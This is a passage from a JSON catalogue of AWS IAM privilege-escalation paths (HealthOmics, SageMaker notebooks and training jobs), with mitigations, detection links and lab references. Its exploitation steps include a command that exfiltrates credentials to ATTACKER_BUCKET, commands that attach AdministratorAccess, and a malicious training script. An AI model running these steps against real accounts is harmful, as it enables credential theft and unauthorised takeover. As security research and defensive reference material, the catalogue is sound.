PutObject events originating from HealthOmics task execution roles to unexpected bucket destinations\n- Regularly audit all IAM roles that trust omics.amazonaws.com and down-scope any with administrative access\n",
    "limitations": "This path uses credential exfiltration via S3 rather than direct IAM API calls from within the task, because HealthOmics workflow tasks have network isolation that prevents direct internet or IAM API access. The execution role must have s3:PutObject permission on the attacker-controlled bucket. The attacker must also have an available private ECR container image, as HealthOmics does not support public Docker Hub images. HealthOmics runs typically take 15+ minutes to complete.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Seth Art",
        "organization": "Datadog",
        "date": "2025"
      }
    },
    "references": [
      {
        "title": "Actions defined by AWS HealthOmics - Service Authorization Reference",
        "url": "https://docs.aws.amazon.com/service-authorization/latest/reference/list_awshealthomics.html"
      },
      {
        "title": "IAM roles and policies for AWS HealthOmics - AWS HealthOmics",
        "url": "https://docs.aws.amazon.com/omics/latest/dev/security-iam-roles.html"
      }
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/omics-001-iam-passrole+omics-createworkflow+omics-startrun",
        "description": "Deploy Terraform scenarios individually or in groups, each with attack and cleanup scripts"
      }
    },
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/c610d9ac3157a8ffd3ca43353febc5817e50fb86/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L414"
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with `iam:PassRole`, `omics:CreateWorkflow`, `omics:StartRun`, and `s3:GetObject` permissions. Can be an IAM user or role. The `s3:GetObject` permission is needed to retrieve the exfiltrated credentials from the attacker-controlled S3 bucket after the workflow run completes."
        },
        {
          "id": "workflow",
          "label": "HealthOmics WDL Workflow",
          "type": "resource",
          "description": "A new AWS HealthOmics workflow created by the attacker using a WDL definition. The WDL task definition contains a command block that queries the HealthOmics container credential provider endpoint and exfiltrates the execution role's temporary credentials to an attacker-controlled S3 bucket.\n\nCommand:\n```bash\naws omics create-workflow \\\n  --name privesc-workflow \\\n  --definition-zip fileb:///tmp/workflow.zip \\\n  --engine WDL \\\n  --parameter-template '{\"s3_bucket\":{\"description\":\"S3 bucket for credential exfiltration\"},\"s3_key\":{\"description\":\"S3 key for credential output\"}}'\n```\n\nThe WDL task uses `curl http://169.254.170.23/v1/credentials` to retrieve credentials from the HealthOmics container credential provider, then uploads them via `aws s3 cp`. HealthOmics tasks have network isolation from the public internet but retain S3 access.\n"
        },
        {
          "id": "exec_role",
          "label": "Admin Execution Role",
          "type": "principal",
          "description": "The IAM role passed to the HealthOmics workflow run. The role must trust `omics.amazonaws.com` and have the permissions needed to run the workflow (including `s3:PutObject` on the attacker-controlled bucket). The role's temporary credentials are injected into the task container via the HealthOmics container credential provider at `http://169.254.170.23/v1/credentials`."
        },
        {
          "id": "task_container",
          "label": "WDL Task Container",
          "type": "payload",
          "color": "#99ccff",
          "description": "The WDL task container that executes the credential exfiltration. HealthOmics provisions the container from a private ECR repository (public Docker Hub images are not supported). The container runs the WDL command block using the execution role's credentials, which are available via the HealthOmics container credential provider endpoint.\n\nWDL task command block:\n```bash\n# HealthOmics injects credentials via the container credential provider\ncurl -s http://169.254.170.23/v1/credentials > /tmp/creds.json\naws s3 cp /tmp/creds.json \"s3://ATTACKER_BUCKET/exfil/creds.json\"\n```\n\nThe task container cannot reach the public internet directly, so credential exfiltration via S3 is the standard technique. Runs typically take 15+ minutes to complete.\n"
        },
        {
          "id": "attacker_s3",
          "label": "Attacker S3 Bucket",
          "type": "resource",
          "description": "The attacker-controlled S3 bucket used as the exfiltration destination. The WDL task container writes the execution role's temporary credentials (AccessKeyId, SecretAccessKey, SessionToken) to this bucket using `s3:PutObject`. After the run completes, the starting principal reads the credentials using `s3:GetObject` and uses them to call `iam:AttachUserPolicy`.\n\nRetrieve exfiltrated credentials:\n```bash\naws s3 cp s3://ATTACKER_BUCKET/exfil/creds.json /tmp/admin-creds.json\n\nAWS_ACCESS_KEY_ID=$(jq -r '.AccessKeyId' /tmp/admin-creds.json) \\\nAWS_SECRET_ACCESS_KEY=$(jq -r '.SecretAccessKey' /tmp/admin-creds.json) \\\nAWS_SESSION_TOKEN=$(jq -r '.Token' /tmp/admin-creds.json) \\\naws iam attach-user-policy \\\n  --user-name STARTING_USER \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n```\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator (via exfiltrated creds)",
          "type": "outcome",
          "description": "The HealthOmics execution role has AdministratorAccess or equivalent permissions. The starting principal retrieves the exfiltrated credentials from S3 and uses them to call `iam:AttachUserPolicy`, gaining full administrative access to the AWS account."
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The execution role has some elevated permissions but not full admin access. The starting principal can use the exfiltrated credentials for data access (S3, RDS, DynamoDB), security configuration changes, or additional privilege escalation paths."
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The execution role only has minimal permissions scoped to HealthOmics operations (e.g., specific S3 buckets or ECR repositories). The exfiltrated credentials provide limited value for further privilege escalation."
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "workflow",
          "label": "iam:PassRole + omics:CreateWorkflow + omics:StartRun",
          "description": "Create a HealthOmics WDL workflow containing a credential exfiltration task, then start a run passing the admin execution role. The workflow definition is uploaded as a zip file containing the WDL definition.\n\nStep 1 \u2014 Create workflow:\n```bash\naws omics create-workflow \\\n  --name privesc-workflow \\\n  --definition-zip fileb:///tmp/workflow.zip \\\n  --engine WDL \\\n  --parameter-template '{\"s3_bucket\":{\"description\":\"S3 bucket\"},\"s3_key\":{\"description\":\"S3 key\"}}'\n```\n\nStep 2 \u2014 Start run with PassRole:\n```bash\naws omics start-run \\\n  --workflow-id WORKFLOW_ID \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE \\\n  --name privesc-run \\\n  --parameters '{\"s3_bucket\":\"ATTACKER_BUCKET\",\"s3_key\":\"exfil/creds.json\"}' \\\n  --output-uri s3://WORKFLOW_BUCKET/output/ \\\n  --storage-capacity 100\n```\n"
        },
        {
          "from": "workflow",
          "to": "exec_role",
          "label": "Run assumes execution role",
          "description": "When the HealthOmics run starts, the service assumes the execution role passed via `iam:PassRole`. The role's temporary credentials are injected into the task container via the HealthOmics container credential provider at `http://169.254.170.23/v1/credentials`, making them accessible to commands running inside the container."
        },
        {
          "from": "exec_role",
          "to": "task_container",
          "label": "Task runs with execution role credentials",
          "description": "HealthOmics provisions a container from the private ECR image specified in the WDL runtime block. The container executes the WDL command block using the execution role's credentials. The credential provider endpoint at `http://169.254.170.23/v1/credentials` returns the execution role's AccessKeyId, SecretAccessKey, and SessionToken."
        },
        {
          "from": "task_container",
          "to": "attacker_s3",
          "label": "Credentials exfiltrated to S3 (s3:PutObject)",
          "description": "The WDL task container uploads the execution role's temporary credentials to the attacker-controlled S3 bucket. HealthOmics tasks cannot reach the public internet directly, so S3 is the exfiltration channel. The execution role must have `s3:PutObject` permission on the attacker's bucket for this step to succeed."
        },
        {
          "from": "start",
          "to": "attacker_s3",
          "label": "s3:GetObject (retrieve exfiltrated creds)",
          "description": "After the HealthOmics run completes (typically 15+ minutes), the starting principal reads the exfiltrated credentials from the S3 bucket and uses them to escalate privileges.\n\nCommand:\n```bash\naws s3 cp s3://ATTACKER_BUCKET/exfil/creds.json /tmp/admin-creds.json\n\nAWS_ACCESS_KEY_ID=$(jq -r '.AccessKeyId' /tmp/admin-creds.json) \\\nAWS_SECRET_ACCESS_KEY=$(jq -r '.SecretAccessKey' /tmp/admin-creds.json) \\\nAWS_SESSION_TOKEN=$(jq -r '.Token' /tmp/admin-creds.json) \\\naws iam attach-user-policy \\\n  --user-name STARTING_USER \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n```\n"
        },
        {
          "from": "attacker_s3",
          "to": "admin",
          "label": "If execution role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the HealthOmics execution role has AdministratorAccess or IAM write permissions, the starting principal uses the exfiltrated credentials to call `iam:AttachUserPolicy`, gaining full administrative access to the AWS account."
        },
        {
          "from": "attacker_s3",
          "to": "some_perms",
          "label": "If execution role has some elevated permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the execution role has elevated permissions but not full admin access, the starting principal can use the exfiltrated credentials for data exfiltration, security configuration changes, or additional privilege escalation paths."
        },
        {
          "from": "attacker_s3",
          "to": "no_access",
          "label": "If execution role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the execution role only has minimal permissions scoped to HealthOmics operations, the exfiltrated credentials provide limited value for further privilege escalation."
        }
      ]
    },
    "gitMetadata": {
      "created": "2026-06-01T00:01:57Z",
      "lastUpdated": "2026-08-04T11:07:33Z",
      "contributors": [
        {
          "name": "Daniel Barranquero",
          "email": "daniel@prowler.com",
          "githubUsername": "danibarranqueroo"
        },
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        }
      ]
    },
    "filePath": "data/paths/omics/omics-001.yaml"
  },
  {
    "id": "sagemaker-001",
    "name": "iam:PassRole + sagemaker:CreateNotebookInstance",
    "category": "new-passrole",
    "services": [
      "iam",
      "sagemaker"
    ],
    "description": "A principal with `iam:PassRole` and `sagemaker:CreateNotebookInstance` can create a SageMaker notebook instance with a privileged execution role. SageMaker notebooks run Jupyter environments that provide shell access and can execute arbitrary code with the permissions of the attached IAM role. The attacker can then access the notebook and run commands with elevated privileges.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts sagemaker.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess)"
      ],
      "lateral": [
        "A role must exist that trusts sagemaker.amazonaws.com to assume it"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws sagemaker create-notebook-instance \\\n  --notebook-instance-name privesc-notebook \\\n  --instance-type ml.t2.medium \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\n",
          "description": "Create a SageMaker notebook instance with the privileged role"
        },
        {
          "step": 2,
          "command": "aws sagemaker describe-notebook-instance --notebook-instance-name privesc-notebook",
          "description": "Wait for the notebook instance to be in 'InService' status"
        },
        {
          "step": 3,
          "command": "aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name privesc-notebook",
          "description": "Generate a presigned URL to access the notebook"
        },
        {
          "step": 4,
          "command": "Open the presigned URL in a browser and use the Jupyter terminal to execute privileged commands",
          "description": "Access the notebook and execute commands with the privileged role's permissions"
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative service roles** - Very rarely does a SageMaker notebook instance need administrative access. Use the principle of least privilege.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\n\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificSageMakerRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"sagemaker.amazonaws.com\"\n    }\n  }\n}\n```\n\n- Monitor CloudTrail for unusual SageMaker notebook creation followed by immediate access\n- Monitor CloudTrail for notebook instance creation by principals who do not usually create notebooks\n- Monitor CloudTrail for roles being passed to SageMaker that haven't been used before\n- Monitor and alert on SageMaker notebook creation with privileged roles\n- Regularly audit SageMaker notebook instances for excessive IAM permissions\n- Regularly audit all IAM roles that trust the SageMaker service and down-scope any roles with administrative access\n",
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "detectionTools": {
      "pmapper": "https://github.com/nccgroup/PMapper/blob/91d2e60102bdadf346d77b60d90ddaa4a678f037/principalmapper/graphing/sagemaker_edges.py#L94",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L258",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L226"
    },
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/"
      }
    },
    "references": [
      {
        "title": "AWS Privilege Escalation Methods and Mitigation",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "IAM Vulnerable - SageMaker PassRole",
        "url": "https://github.com/BishopFox/iam-vulnerable"
      },
      {
        "title": "HackTricks - AWS - SageMaker Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/index.html#iampassrole--sagemakercreatenotebookinstance-sagemakercreatepresignednotebookinstanceurl"
      }
    ],
    "relatedPaths": [
      "sagemaker-002",
      "sagemaker-003",
      "sagemaker-004"
    ],
    "learningEnvironments": {
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "SageMaker-CreateNotebookPassRole",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      },
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole+sagemaker-createnotebookinstance",
        "description": "Deploy Terraform scenarios individually or in groups, each with attack and cleanup scripts"
      }
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Target role ARN must be in the Resource section"
        },
        {
          "permission": "sagemaker:CreateNotebookInstance",
          "resourceConstraints": "Must have permission to create SageMaker notebook instances"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available roles to pass"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies and attached permissions"
        },
        {
          "permission": "sagemaker:DescribeNotebookInstance",
          "resourceConstraints": "Helpful for checking notebook instance status before accessing"
        },
        {
          "permission": "sagemaker:CreatePresignedNotebookInstanceUrl",
          "resourceConstraints": "Required to generate access URL to the notebook interface"
        }
      ]
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The starting principal (user or role) with `iam:PassRole` and `sagemaker:CreateNotebookInstance` permissions. This principal will create a SageMaker notebook instance with a privileged role attached and access it to gain elevated privileges.\n"
        },
        {
          "id": "notebook_instance",
          "label": "New SageMaker Notebook Instance",
          "type": "resource",
          "description": "The newly created SageMaker notebook instance running a Jupyter environment. The instance is created with `sagemaker:CreateNotebookInstance` and configured to use a privileged IAM role via `iam:PassRole`. The notebook provides shell access through the Jupyter terminal interface.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the sagemaker Service",
          "type": "principal",
          "description": "The privileged IAM role that is passed to the SageMaker notebook instance during creation. This role must trust sagemaker.amazonaws.com as a principal in its trust policy. When the notebook instance runs, all code and commands execute with this role's permissions.\n"
        },
        {
          "id": "access_notebook",
          "label": "Access Jupyter Terminal",
          "type": "payload",
          "color": "#99ccff",
          "description": "The attacker accesses the notebook instance and opens the Jupyter terminal. Access can be obtained via a presigned URL (if they have `sagemaker:CreatePresignedNotebookInstanceUrl` permission) or by navigating directly to the notebook in the AWS Console (if they have console access with username/password credentials). Once in Jupyter, the terminal provides full shell access with the target role's credentials available via the AWS SDK or instance metadata.\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the target role has administrative permissions (AdministratorAccess or equivalent), the attacker gains full administrative access to the AWS account by executing privileged commands in the Jupyter terminal or using the AWS CLI/SDK within the notebook.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the target role has some elevated permissions but not full admin, the attacker gains partial privilege escalation. This could include access to sensitive data (S3, RDS, DynamoDB), the ability to modify IAM resources, or permissions that enable additional escalation paths.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the target role only has minimal permissions or no interesting permissions, the privilege escalation may not provide meaningful additional access to the attacker. The notebook access would be limited to basic operations.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "notebook_instance",
          "label": "iam:PassRole + sagemaker:CreateNotebookInstance",
          "description": "The attacker creates a new SageMaker notebook instance and passes a privileged role to it. The instance is configured with the target role via the --role-arn parameter.\n\nCommand:\n```bash\naws sagemaker create-notebook-instance \\\n  --notebook-instance-name privesc-notebook \\\n  --instance-type ml.t2.medium \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\n```\n\nThe notebook instance will take a few minutes to reach 'InService' status before it can be accessed.\n"
        },
        {
          "from": "notebook_instance",
          "to": "target_role",
          "label": "Notebook assumes role",
          "description": "When the SageMaker notebook instance starts, it automatically assumes the target role. All code executed in the Jupyter environment (including terminal commands) runs with the permissions granted to this role. Credentials are available via the AWS SDK and boto3.\n"
        },
        {
          "from": "target_role",
          "to": "access_notebook",
          "label": "sagemaker:CreatePresignedNotebookInstanceUrl (or console access)",
          "description": "The attacker accesses the notebook interface to open the Jupyter terminal. There are two methods:\n\n**Method 1 (API access - easiest):** If the attacker has `sagemaker:CreatePresignedNotebookInstanceUrl` permission, they can generate a presigned URL for direct access:\n\n```bash\naws sagemaker create-presigned-notebook-instance-url \\\n  --notebook-instance-name privesc-notebook\n```\n\nThe presigned URL provides authenticated access to the Jupyter interface without requiring AWS Console login.\n\n**Method 2 (Console access):** If the attacker has an IAM user with a login profile (username/password) and can authenticate to the AWS Console, they can navigate directly to the notebook URL without needing the CreatePresignedNotebookInstanceUrl permission. The direct URL format is: `https://NOTEBOOK_NAME.notebook.REGION.sagemaker.aws/tree`\n\nOnce in Jupyter (via either method), the attacker can open a terminal or create notebooks to execute privileged operations with the target role's credentials.\n"
        },
        {
          "from": "access_notebook",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or equivalent administrative permissions, the attacker gains full control over the AWS account. They can execute any privileged command from the Jupyter terminal, such as creating access keys, modifying IAM policies, or accessing any AWS resource.\n"
        },
        {
          "from": "access_notebook",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the target role has elevated but non-administrative permissions, the attacker gains partial privilege escalation. This might include access to sensitive data stores (S3 buckets, RDS databases, DynamoDB tables), permissions to modify IAM resources (AttachUserPolicy, PutUserPolicy), or permissions that enable additional privilege escalation techniques.\n"
        },
        {
          "from": "access_notebook",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the target role only has minimal or non-sensitive permissions, the privilege escalation may not yield meaningful additional access. However, even limited access to the notebook environment could be useful for reconnaissance or as part of a multi-step attack chain.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/sagemaker/sagemaker-001.yaml"
  },
  {
    "id": "sagemaker-002",
    "name": "iam:PassRole + sagemaker:CreateTrainingJob",
    "category": "new-passrole",
    "services": [
      "iam",
      "sagemaker"
    ],
    "description": "A principal with `iam:PassRole` and `sagemaker:CreateTrainingJob` can create a SageMaker training job with a privileged execution role. Training jobs can execute arbitrary container code and access AWS APIs with the permissions of the attached IAM role. By creating a training job with a malicious training script or container, the attacker can execute code with elevated privileges and exfiltrate credentials or modify AWS resources.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts sagemaker.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess)",
        "An S3 bucket must be accessible to store training data and output"
      ],
      "lateral": [
        "A role must exist that trusts sagemaker.amazonaws.com to assume it",
        "An S3 bucket must be accessible to store training data and output"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "echo '#!/usr/bin/env python3\nimport boto3\niam = boto3.client(\"iam\")\niam.attach_user_policy(\n    UserName=\"YOUR_USERNAME\",\n    PolicyArn=\"arn:aws:iam::aws:policy/AdministratorAccess\"\n)\n' > exploit.py\n",
          "description": "Create a malicious training script that attaches AdministratorAccess policy to your user"
        },
        {
          "step": 2,
          "command": "# Package the script as required by SageMaker\ntar -czf sourcedir.tar.gz exploit.py\naws s3 cp sourcedir.tar.gz s3://BUCKET_NAME/sourcedir.tar.gz\n",
          "description": "Package and upload the malicious script to S3 (SageMaker requires tar.gz format)"
        },
        {
          "step": 3,
          "command": "aws sagemaker create-training-job \\\n  --training-job-name privesc-training \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE \\\n  --algorithm-specification '{\"TrainingImage\":\"763104351884.dkr.ecr.REGION.amazonaws.com/pytorch-training:2.0.0-cpu-py310\",\"TrainingInputMode\":\"File\"}' \\\n  --input-data-config '[{\"ChannelName\":\"training\",\"DataSource\":{\"S3DataSource\":{\"S3DataType\":\"S3Prefix\",\"S3Uri\":\"s3://BUCKET_NAME\",\"S3DataDistributionType\":\"FullyReplicated\"}}}]' \\\n  --output-data-config '{\"S3OutputPath\":\"s3://BUCKET_NAME/output\"}' \\\n  --resource-config '{\"InstanceType\":\"ml.m5.large\",\"InstanceCount\":1,\"VolumeSizeInGB\":10}' \\\n  --stopping-condition '{\"MaxRuntimeInSeconds\":600}' \\\n  --hyper-parameters '{\"sagemaker_program\":\"exploit.py\",\"sagemaker_submit_directory\":\"s3://BUCKET_NAME/sourcedir.tar.gz\"}'\n",
          "description": "Create a training job with the privileged role that executes the malicious script via hyperparameters"
        },
        {
          "step": 4,
          "command": "aws sagemaker describe-training-job --training-job-name privesc-training",
          "description": "Monitor the training job status and wait for execution"
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative service roles** - Very rarely does a SageMaker training job need administrative access. Use the principle of least privilege.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\n\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificSageMakerRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"sagemaker.amazonaws.com\"\n    }\n  }\n}\n```\n\n- Monitor CloudTrail for unusual SageMaker training job creation followed by immediate execution\n- Monitor CloudTrail for training job creation by principals who do not usually create training jobs\n- Monitor CloudTrail for roles being passed to SageMaker that haven't been used before\n- Monitor and alert on SageMaker training job creation with privileged roles\n- Regularly audit SageMaker training jobs for excessive IAM permissions\n- Regularly audit all IAM roles that trust the SageMaker service and down-scope any roles with administrative access\n",
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Erik Steringer",
        "organization": "NCC Group",
        "date": 2022,
        "link": "https://github.com/nccgroup/PMapper/blob/master/principalmapper/graphing/sagemaker_edges.py"
      },
      "derivativeOf": {
        "pathId": "sagemaker-001",
        "modification": "This variation uses sagemaker:CreateTrainingJob instead of sagemaker:CreateNotebookInstance to execute code with the passed role's permissions via a training container"
      },
      "ultimateOrigin": {
        "pathId": "sagemaker-001",
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/"
      }
    },
    "references": [
      {
        "title": "AWS Privilege Escalation Methods and Mitigation",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "IAM Vulnerable - SageMaker PassRole",
        "url": "https://github.com/BishopFox/iam-vulnerable"
      },
      {
        "title": "HackTricks - AWS - SageMaker Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/index.html#sagemakercreatetrainingjob-iampassrole"
      }
    ],
    "relatedPaths": [
      "sagemaker-001",
      "sagemaker-003"
    ],
    "detectionTools": {
      "pmapper": "https://github.com/nccgroup/PMapper/blob/91d2e60102bdadf346d77b60d90ddaa4a678f037/principalmapper/graphing/sagemaker_edges.py#L111",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L262",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L227"
    },
    "learningEnvironments": {
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "SageMaker-CreateTrainingJobPassRole",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      },
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole+sagemaker-createtrainingjob",
        "description": "Deploy Terraform scenarios individually or in groups, each with attack and cleanup scripts"
      }
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Target role ARN must be in the Resource section"
        },
        {
          "permission": "sagemaker:CreateTrainingJob",
          "resourceConstraints": "Must have permission to create SageMaker training jobs"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available roles to pass"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies and attached permissions"
        }
      ]
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The starting principal (user or role) with `iam:PassRole` and `sagemaker:CreateTrainingJob` permissions. This principal will create a SageMaker training job with a privileged role attached and execute malicious code to gain elevated privileges.\n"
        },
        {
          "id": "training_job",
          "label": "New SageMaker Training Job",
          "type": "resource",
          "description": "The newly created SageMaker training job with malicious training code. The job is created with `sagemaker:CreateTrainingJob` and configured to use a privileged IAM role via `iam:PassRole`. The training script or container is designed to escalate privileges by executing AWS API calls with the attached role's permissions.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the sagemaker Service",
          "type": "principal",
          "description": "The privileged IAM role that is passed to the SageMaker training job during creation. This role must trust sagemaker.amazonaws.com as a principal in its trust policy. When the training job executes, it runs with this role's permissions and can access AWS APIs accordingly.\n"
        },
        {
          "id": "exfiltrate",
          "label": "Execute malicious training code",
          "type": "payload",
          "color": "#99ccff",
          "description": "The training job executes with the target role's permissions. The malicious training script or container code can perform privileged API calls such as attaching admin policies to the attacker's principal, creating access keys, or modifying IAM permissions. The training job has full access to the AWS SDK with the role's credentials.\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the target role has administrative permissions (AdministratorAccess or equivalent), the attacker gains full administrative access to the AWS account. The malicious training code can escalate the starting principal's permissions or create new admin-level access.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the target role has some elevated permissions but not full admin, the attacker gains partial privilege escalation. This could include access to sensitive data (S3, RDS, DynamoDB), the ability to modify specific resources, or permissions that enable additional escalation paths.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the target role only has minimal permissions or no interesting permissions, the privilege escalation may not provide meaningful additional access to the attacker. The training job would execute but without useful privileges.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "training_job",
          "label": "iam:PassRole + sagemaker:CreateTrainingJob",
